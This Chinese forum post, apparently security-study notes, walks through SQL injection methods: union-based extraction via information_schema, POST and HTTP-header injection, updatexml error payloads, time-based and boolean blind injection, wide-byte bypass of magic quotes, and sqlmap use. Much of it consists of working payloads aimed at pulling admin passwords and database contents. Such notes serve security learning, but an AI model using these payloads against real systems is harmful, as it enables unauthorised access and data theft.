-
-
[原创]SQL注入
-
发表于: 2021-3-4 20:51 2891
-
SQL注入
注入的原理:把用户输入的数据当作代码执行
两个关键条件:1.用户能够控制输入
2.原本程序要执行的代码拼接了用户输入的数据
:注入的分类
:传参的方式和区别:
1.GET传参会显示在URL栏里,会进行一次URL编码
2.POST传参能够传输更多数据
显错注入" class="anchor" href="#一,显错注入">一,显错注入
注入的用处:
1.获取管理员密码,获取数据库里的信息
注入的规则:
1.联合查询的字段数需要与页面字段数相同
2.select 字段 from 表名 where 条件 字段一定要写在from前面
注入语法:
1.首先判断是否存在
sql 注入 and 1=1 ,and 1+1 ,and 2-1 ,and 1-2 应用以上逻辑皆可
2.判断字段数:
order by 1 ,order by 2, order by 3
3.联合查询判断注入点:
union select 1,database(),3
4.查询表
union select 1,table_name,3 from information_schema.tables where table_schema=database()
5.查询字段
union select 1,column_name,3 from information_schema.columns where table_name='表名' and table_schema=database()
6.获取数据
union select 1,字段名 from 表名
列出全部---group_concat(数据表或者字段)
二,POST注入
POST注入与GET注入没有区别只是注入点不同
常见的注入点:
1.登录框
2.查询框
3.各种和数据库有交互的框
三,head注入" class="anchor" href="#三,head注入">三,HEAD注入
查询条件" class="anchor" href="#查询条件">查询条件
User_Agent -- 当作查询,当我们登录某页面的时候,页面会显示上次登录IP, 这就代表着我们的某些数据被记录进了数据库(insert into )会出现一个插入语句
Referer -- 提供上下文服务,告诉服务器我从哪里来,用于流量统计
- X-Forwarded-For -- 是一个扩展头。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP,现在已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中
- 在使用XFF头时要注意有时候抓包会没有XFF头,这时候我们自己可以加上一个,并且在冒号后面要加上空格
注意事项
- 报错有长度限制所以在报错表的时候最好用limit这个函数一个一个去查表
- 有时候and 会不行也可以用 or
使用方法
updatexml()更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
报错库:select updatexml (1,concat (0x7e,(select database()),0x7e),1)
用法:('1' and updatexml (1,concat (0x7e,(select database())),1 ),'2') -- qwe
要素:首先要尝试判断字段数,字段数一定要相同,并且后面要加注释 -- qwe
- 用sqlmap工具跑head注入
- 然后用抓包工具抓个数据包,把数据包保存,在cookie请求头数据后价格*星号 ,然后sqlmap.py -r (文件名)
四,盲注
什么是盲注
- 页面没有回显的注入
盲注分类
时间型盲注
- 页面无论对错都不会有变化
- 利用if()函数加sleep()函数组合 and if(length(database())>10,sleep(5),1)
布尔型盲注
- 页面会回显数据对错
- 判断出有注入后用length()判断数据库长度,然后再利用ascii()函数判断数据库的字母的ascii码值加上substr()截取函数一个一个的去判断数据路名的字母。and select ascii(substr(database(),1,1)>107)
五,宽字节注入
- 魔术引号:会在单引号,双引号,反斜杠前加上反斜杠,达到注释的效果为了防止SQL注入
- 环境:数据库被设置成了GBK编码时
- 利用:传参一个字符和原本的反斜杠凑成一个汉字
- 在查字段名的时候查询条件的表名需要用单引号括起来,这时候就被魔术引号转义了,所以需要改写成十六进制编码,(数据库可以接收十六进制编码)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)